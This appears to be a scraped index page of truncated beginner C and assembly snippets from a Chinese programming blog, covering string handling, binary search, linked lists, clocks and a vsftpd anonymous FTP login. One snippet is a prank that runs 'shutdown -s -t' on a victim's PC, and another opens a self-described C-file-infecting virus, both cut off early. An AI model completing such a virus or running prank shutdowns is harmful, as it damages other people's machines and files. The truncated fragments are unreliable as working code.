/*本程序没有使用库函数所以有点麻烦编译环境 TC2.0by spygg*/#include<stdio.h>#define MAX 100int main(void){ char *sourse,*dst; char a[MAX],b[MAX]; int i=0,dstlen=0,flag=0; sourse=a; dst=b; printf("Input the sourse string\n"); gets(sourse); printf("Input the dst string\n"); gets(dst); while(*dst++!='\...
;程序功能:从键盘读入一行数据并显示DAT SEGMENT STRING DB 100,0,100 DUP(?)ENT DB 0AH,0DH,'$'PRINTF DB 'INPUT A STING TO TEST!','$'STAR DB '------------------'DB 'THIS IS A DEVIDE LINE'DB '------------------','$'MESS DB '**'DB 'THIS IS A PROGRAMME BY SPYGG'DB '**','$'DAT ENDSCOD SEGMENTASSUME CS: COD,DS: DATSTART:M...
/*折半查找*/#include<stdio.h>#define MAX 100int a[MAX];void init_array(int n)//初始化数组{ int i; for(i=0;i<n;i++) { printf("a[%d]=",i); scanf("%d",&a[i]); }}void print_array(int n)//输出数组{ int i; for(i=0;i<n;i++) printf("a[%d]=%-3d",i,a[i]); printf("\n");}int halfserch(int n,int key){ int s,e,i; s=1...
/*输入5个含有5个整数的数组,在第一,第二,第五个数组中分别随机选出一个数,在第三,第四个数组中分别随机选出两个数,再将选出的7个数组成一个数组,输出该数组。 如数组:12345 67891 11 12 13 14 15 21 22 23 55 44 56 78 98 45 32 12345 选数: 3 8 15 22 55 98 45 3 组成数组输出:3 8 15 22 55 98 45 3 选作:在上述的基础上加此功能:不考虑数组中数的...
/*
这是一个自己定义关机时间和提示消息的C语言程序可以用来自己定义关机和恶作剧(嘿嘿)方法:给ESC 的值随便修改一下就OK了!
编译环境TC 2.0
eidtor by: spygg
2010-04-22 01:04:11
*/
#include <stdio.h>#include
<stdlib.h>#include<dos.h>#define ESC
0x011bmain(){char *seconds;char cmd[30]="shutdown -s -t
";char *kiding=" -c \"This is only a joke!!\"";/...
/*程序功能:从键盘输入一行字,统计以a-z开头的单词个数*/
#include<stdio.h>main(){char *s,b[200];int a[26],words=0;int i,flag=0;s=b;for(i=0;i<26;i++)a[i]=0;gets(s);printf("%s",s);printf("\n");*s=' ';while(*s!='\0'){ flag=0; if(*s==' ') { flag=1; words++; } if(flag) { s++; for(i=0;i<26;i++) if(...
按照图中的指示,你就会看到神奇了,我们也可以编写一个这种程序送给你想送的人
#include<stdio.h>struct test{ int x,y; int xv,yv;};delay(){ int i,j; for(i=0;i<10000;i++) for(j=0;j<10000;j++);}main(){ struct test ts; ts.xv=ts.yv=1; ts.x=ts.y=10; while(!kbhit()) { if(ts.x==0||ts.x==40) ts.xv*=-1; if(ts.y==0||ts.y==30) ts.yv*=-1; ts.x+=ts.xv; ts.y+=ts.yv; gotoxy(ts.x,t...
#include <stdio.h>
int inputpw (char *password,int len); /*len为密码的最长长度*/
main (void) { int l; char pw[13]; l=inputpw(pw,12); printf("\n刚才输入%d位的密码:%s",l,pw); return 0; }
int inputpw(char *password,int len) { int i=0; /*密码数组索引值,同时也表示记录已显示星的数目,初始化值为0*/ char ch; printf("\n请输入密码(长度小于等于%d...
由于gotoxy()不是标准库函数,所以自己编写一个 #include<stdio.h>gotoxy(int x,int y)//光标下移函数{ int i,j; for(i=0;i<x;i++) printf("\n"); for(j=0;j<y;j++) printf(" ");}int main(void){ gotoxy(20,10); printf("*******************...
#include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h>/*感染其它c文件*/void copyfile(char *infile, char *outfile){ FILE *in,*out; in = fopen(infile,"r"); out = fopen(outfile,"w"); while (!feof(in)) { fputc(fgetc(in),out); } fclose(in)...
教科书上的经典算法是用struct来实现链表这一数据结构,本文用指针来实现建立链表的操作,虽然实际应用中不常用,但是对于指针的理解是一种很好的案例.
/*程序功能:建立从1-9的链表并输出(非数据结构实现)*/
#include<stdio.h>
#define INTSIZE sizeof(int)
#define NODESIZE (sizeof(int)+sizeof(char *))
#define ERROR {printf("Error\n");return;}
main()
{
int i;
char *p,*q,*first,*malloc();
...
#include<stdio.h>#include<stdlib.h>struct list{int num;struct list *next;};struct list *creat(){struct list *head,*p,*tail;head=NULL;do{ printf("input the num (0 as the end)\n"); p=(struct list*)malloc(sizeof(struct list)); if(p==NULL) { printf("Memonry malloc failed\n"); exit(0); ...
#include<stdio.h>#include<time.h>#include<dos.h>int main(void){ struct time t; struct date d; while(!kbhit()) { gettime(&t); getdate(&d); printf("%d-%d-%d",d.da_year,d.da_mon,d.da_day); printf("\n"); printf("\n"); if(t.ti_hour<10) printf("0"); printf("%d:",t.ti_hour); if(t.ti_mi...
#include <stdio.h>#define NUM 20int main(void){ int i, j; for (i = 0; i < NUM; ++i) { for (j = 0; j <= i; ++j) { putchar('='); } for (j = i; j < NUM; ++j) { putchar(' '); } printf("%3d%%", (i + 1) * 100 / NUM...
#include<math.h>#include<dos.h> #include<graphics.h> #include<conio.h> #include<time.h> #define PI 3.141592653589793 int h,m,s,i,l,mon,y,d; struct time t; struct date data; draw() { gettime(&t); /*取得时间信息到t */s=t.ti_sec; /*秒 */h=t.ti_hour; /*时 */m=t.ti_min; /*分 */getdate(&data); /*取得日期信息到d...
默认情况下不需要修改就可以在虚拟机上访问的,如: [root@tong vsftpd]# ftp 127.0.0.1 Connected to 127.0.0.1 (127.0.0.1). 220 (vsFTPd 2.1.2) Name (127.0.0.1:tong): ftp//匿名登录默认用户名,密码也是;也可都用anonymous 331 Please specify the password. Password: 230 Login successful. //恭喜您,已成功登陆 Remote system type is UNIX. Using binary mode to ...
#include<string.h>int main(){char a[1000];int i;for(i=0;i<1000;i++){a[i]=(-1-i);}printf("%d\n",strlen(a));return 0;}
/**程序功能:产生10内的随机数100个然后用直方图的形式统计出他们的个数*/#include<stdio.h>main(void){ int k,a[10],tmp,i,b[20][10],c[10]; for(i=0;i<20;i++) for(k=0;k<10;k++) b[i][k]=0; for(k=0;k<10;k++) a[k]=0; for(k=0;k<100;k++) { tmp=rand()%10; a[tmp]++; } ...
/*程序:实现一个数组中的最大的一个放到最后,最小的放在最前
*其他的顺序不变(用三个子函数实现)
*/
#include<stdio.h>int b[10];int init(int *array){int i;printf("Input 10 number:\n");for(i=0;i<10;i++)scanf("%d",&array[i]);}int *swap(int *a){int i;//tp1,tp2;int tmp1=*a,tmp2=*a,j,k,n=1;for(i=0;i<10;i++){ if(*(a+i)<tmp1) { tmp1=*...